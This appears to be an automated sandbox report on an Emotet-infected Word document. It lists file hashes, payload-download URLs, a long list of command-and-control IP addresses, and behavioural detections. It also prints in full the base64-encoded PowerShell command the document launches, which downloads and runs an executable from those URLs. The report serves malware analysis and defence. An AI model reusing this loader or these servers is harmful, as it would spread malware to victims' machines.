Analysis
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max time kernel
145s -
max time network
147s -
platform
windows10_x64 -
resource
win10v200722 -
submitted
01-08-2020 19:37
Static task
static1
Behavioral task
behavioral1
Sample
SecuriteInfo.com.Exploit.Siggen2.13449.28674.8313.doc
Resource
win7v200722
General
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Target
SecuriteInfo.com.Exploit.Siggen2.13449.28674.8313.doc
-
Size
168KB
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MD5
a218719fd104a4c006280fed89268170
-
SHA1
4a14ff4ab8445b69e5ad1960236a0c4c4b583d6e
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SHA256
dc875f711c036d142c516a749754c9752e410f28c3a2223de920488093754e0b
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SHA512
99b11414943e18e955451b3f7058564b88e4abb5baa79975a98dd4471826de49cb714854a32c6ca54794229e0712a0b387fb59cd98085ee3b51a25f19c04d041
Malware Config
Extracted
http://rectificadoscarrion.com/wp-includes/EiQ/
http://renekok.com/QbWyat/
http://www.onlinemediadesigns.com/bin/nObh/
http://renegaderadio.net/haunted/cA5zuC5/
http://qatifsport.net/t/NbQq254/
Extracted
emotet
73.116.193.136:80
185.94.252.13:443
149.62.173.247:8080
89.32.150.160:8080
185.94.252.12:80
77.90.136.129:8080
83.169.21.32:7080
104.236.161.64:8080
114.109.179.60:80
189.2.177.210:443
68.183.190.199:8080
144.139.91.187:443
185.94.252.27:443
190.181.235.46:80
82.196.15.205:8080
46.28.111.142:7080
181.167.96.215:80
202.62.39.111:80
219.92.13.25:80
191.99.160.58:80
50.28.51.143:8080
172.104.169.32:8080
192.241.146.84:8080
82.240.207.95:443
80.249.176.206:80
2.47.112.152:80
212.231.60.98:80
77.55.211.77:8080
170.81.48.2:80
5.196.35.138:7080
143.0.87.101:80
190.6.193.152:8080
217.199.160.224:7080
187.162.248.237:80
93.151.186.85:80
177.74.228.34:80
204.225.249.100:7080
217.13.106.14:8080
51.255.165.160:8080
104.131.103.37:8080
177.72.13.80:80
190.163.31.26:80
186.70.127.199:8090
61.92.159.208:8080
12.162.84.2:8080
71.50.31.38:80
186.250.52.226:8080
92.23.34.86:80
177.144.135.2:80
201.213.156.176:80
190.147.137.153:443
94.176.234.118:443
181.129.96.162:8080
178.79.163.131:8080
111.67.12.221:8080
177.66.190.130:80
191.182.6.118:80
68.183.170.114:8080
177.73.0.98:443
203.25.159.3:8080
45.161.242.102:80
181.120.79.227:80
72.47.248.48:7080
177.139.131.143:443
189.194.58.119:80
137.74.106.111:7080
189.1.185.98:8080
190.194.242.254:443
190.17.195.202:80
192.241.143.52:8080
87.106.46.107:8080
212.71.237.140:8080
179.60.229.168:443
70.32.84.74:8080
70.32.115.157:8080
104.131.41.185:8080
Signatures
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Suspicious behavior: EnumeratesProcesses 9 IoCs
Processes:
powersheLL.execompobj.exepid process 3320 powersheLL.exe 3320 powersheLL.exe 3320 powersheLL.exe 3876 compobj.exe 3876 compobj.exe 3876 compobj.exe 3876 compobj.exe 3876 compobj.exe 3876 compobj.exe -
Executes dropped EXE 2 IoCs
Processes:
285.execompobj.exepid process 2492 285.exe 3876 compobj.exe -
Suspicious use of WriteProcessMemory 3 IoCs
Processes:
285.exedescription pid process target process PID 2492 wrote to memory of 3876 2492 285.exe compobj.exe PID 2492 wrote to memory of 3876 2492 285.exe compobj.exe PID 2492 wrote to memory of 3876 2492 285.exe compobj.exe -
Drops file in System32 directory 1 IoCs
Processes:
285.exedescription ioc process File opened for modification C:\Windows\SysWOW64\explorer\compobj.exe 285.exe -
Suspicious use of SetWindowsHookEx 11 IoCs
Processes:
WINWORD.EXE285.execompobj.exepid process 3816 WINWORD.EXE 3816 WINWORD.EXE 3816 WINWORD.EXE 3816 WINWORD.EXE 3816 WINWORD.EXE 3816 WINWORD.EXE 3816 WINWORD.EXE 3816 WINWORD.EXE 3816 WINWORD.EXE 2492 285.exe 3876 compobj.exe -
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
powersheLL.exedescription pid pid_target process target process Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 3320 488 powersheLL.exe -
Blacklisted process makes network request 1 IoCs
Processes:
powersheLL.exeflow pid process 29 3320 powersheLL.exe -
Emotet Payload 4 IoCs
Detects Emotet payload in memory.
Processes:
resource yara_rule behavioral2/memory/2492-11-0x0000000000620000-0x000000000062C000-memory.dmp emotet behavioral2/memory/2492-11-0x0000000000620000-0x000000000062C000-memory.dmp emotet behavioral2/memory/3876-14-0x0000000000600000-0x000000000060C000-memory.dmp emotet behavioral2/memory/3876-14-0x0000000000600000-0x000000000060C000-memory.dmp emotet -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
WINWORD.EXEdescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
Processes:
WINWORD.EXEpid process 3816 WINWORD.EXE 3816 WINWORD.EXE -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powersheLL.exedescription pid process Token: SeDebugPrivilege 3320 powersheLL.exe
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Exploit.Siggen2.13449.28674.8313.doc" /o ""1⤵
- Suspicious use of SetWindowsHookEx
- Enumerates system info in registry
- Checks processor information in registry
- Suspicious behavior: AddClipboardFormatListener
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C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exepowersheLL -e JABUAFUATwBPAEYAagBqAGQAPQAnAEoARQBPAFUAUwBkAGUAawAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGAARQBDAFUAUgBpAHQAeQBQAGAAUgBvAFQAbwBDAE8AbAAiACAAPQAgACcAdABsAHMAMQAyACwAIAB0AGwAcwAxADEALAAgAHQAbABzACcAOwAkAEMAVQBaAFEAWgB0AHkAYQAgAD0AIAAnADIAOAA1ACcAOwAkAE4ASQBCAEMAQwBvAHMAdgA9ACcASgBPAEYASwBIAHAAdABvACcAOwAkAEcARwBNAEIAUQBiAHkAaQA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAQwBVAFoAUQBaAHQAeQBhACsAJwAuAGUAeABlACcAOwAkAFMAQgBDAFMATQBmAG8AZAA9ACcASQBCAFYATABPAG0AcABuACcAOwAkAE4AVwBEAEcATAB4AHIAbwA9AC4AKAAnAG4AZQB3ACcAKwAnAC0AbwBiAGoAJwArACcAZQBjAHQAJwApACAATgBlAHQALgBXAEUAYgBjAGwASQBFAG4AVAA7ACQATwBaAEQAQQBLAGcAdgBwAD0AJwBoAHQAdABwADoALwAvAHIAZQBjAHQAaQBmAGkAYwBhAGQAbwBzAGMAYQByAHIAaQBvAG4ALgBjAG8AbQAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvAEUAaQBRAC8AKgBoAHQAdABwADoALwAvAHIAZQBuAGUAawBvAGsALgBjAG8AbQAvAFEAYgBXAHkAYQB0AC8AKgBoAHQAdABwADoALwAvAHcAdwB3AC4AbwBuAGwAaQBuAGUAbQBlAGQAaQBhAGQAZQBzAGkAZwBuAHMALgBjAG8AbQAvAGIAaQBuAC8AbgBPAGIAaAAvACoAaAB0AHQAcAA6AC8ALwByAGUAbgBlAGcAYQBkAGUAcgBhAGQAaQBvAC4AbgBlAHQALwBoAGEAdQBuAHQAZQBkAC8AYwBBADUAegB1AEMANQAvACoAaAB0AHQAcAA6AC8ALwBxAGEAdABpAGYAcwBwAG8AcgB0AC4AbgBlAHQALwB0AC8ATgBiAFEAcQAyADUANAAvACcALgAiAHMAcABgAGwASQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAUwBTAE0AQQBOAG8AYwB1AD0AJwBEAFQARwBGAFoAcABhAHMAJwA7AGYAbwByAGUAYQBjAGgAKAAkAFoATgBaAEkASQBpAG4AaQAgAGkAbgAgACQATwBaAEQAQQBLAGcAdgBwACkAewB0AHIAeQB7ACQATgBXAEQARwBMAHgAcgBvAC4AIgBEAE8AdwBuAGAAbABgAE8AYABBAGQAZgBJAGwAZQAiACgAJABaAE4AWgBJAEkAaQBuAGkALAAgACQARwBHAE0AQgBRAGIAeQBpACkAOwAkAEYAVgBWAFYATgB5AGsAawA9ACcASwBYAEEAVABVAHUAZQBiACcAOwBJAGYAIAAoACgAJgAoACcARwAnACsAJwBlAHQALQBJAHQAZQAnACsAJwBtACcAKQAgACQARwBHAE0AQgBRAGIAeQBpACkALgAiAGwARQBgAE4AZwBUAEgAIgAgAC0AZwBlACAAMwA2ADkANQA3ACkAIAB7ACgAWwB3AG0AaQBjAGwAYQBzAHMAXQAnAHcAaQBuADMAMgBfAFAAcgBvAGMAZQBzAHMAJwApAC4AIgBDAFIAYABlAGEAYABUAEUAIgAoACQARwBHAE0AQgBRAGIAeQBpACkAOwAkAFMATgBPAFEAUwB5AGsAagA9ACcAQwBDAEcATABWAGcAawBzACcAOwBiAHIAZQBhAGsAOwAkAFcARQBPAFAARAB2AHIAeAA9ACcASwBZAE0AQQBYAHQAagBhACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFEARgBEAFcARABvAG4AaAA9ACcARQBNAEUATgBLAGIAcQBmACcA1⤵
- Suspicious behavior: EnumeratesProcesses
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious use of AdjustPrivilegeToken
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C:\Users\Admin\285.exeC:\Users\Admin\285.exe1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
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C:\Windows\SysWOW64\explorer\compobj.exe"C:\Windows\SysWOW64\explorer\compobj.exe"2⤵
- Suspicious behavior: EnumeratesProcesses
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
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Downloads
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C:\Users\Admin\285.exe
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C:\Users\Admin\285.exe
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C:\Windows\SysWOW64\explorer\compobj.exe
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memory/2492-11-0x0000000000620000-0x000000000062C000-memory.dmpFilesize
48KB
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memory/3816-3-0x0000021AB8880000-0x0000021AB8885000-memory.dmpFilesize
20KB
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memory/3816-4-0x0000021AB8885000-0x0000021AB888D000-memory.dmpFilesize
32KB
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memory/3876-12-0x0000000000000000-mapping.dmp
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memory/3876-14-0x0000000000600000-0x000000000060C000-memory.dmpFilesize
48KB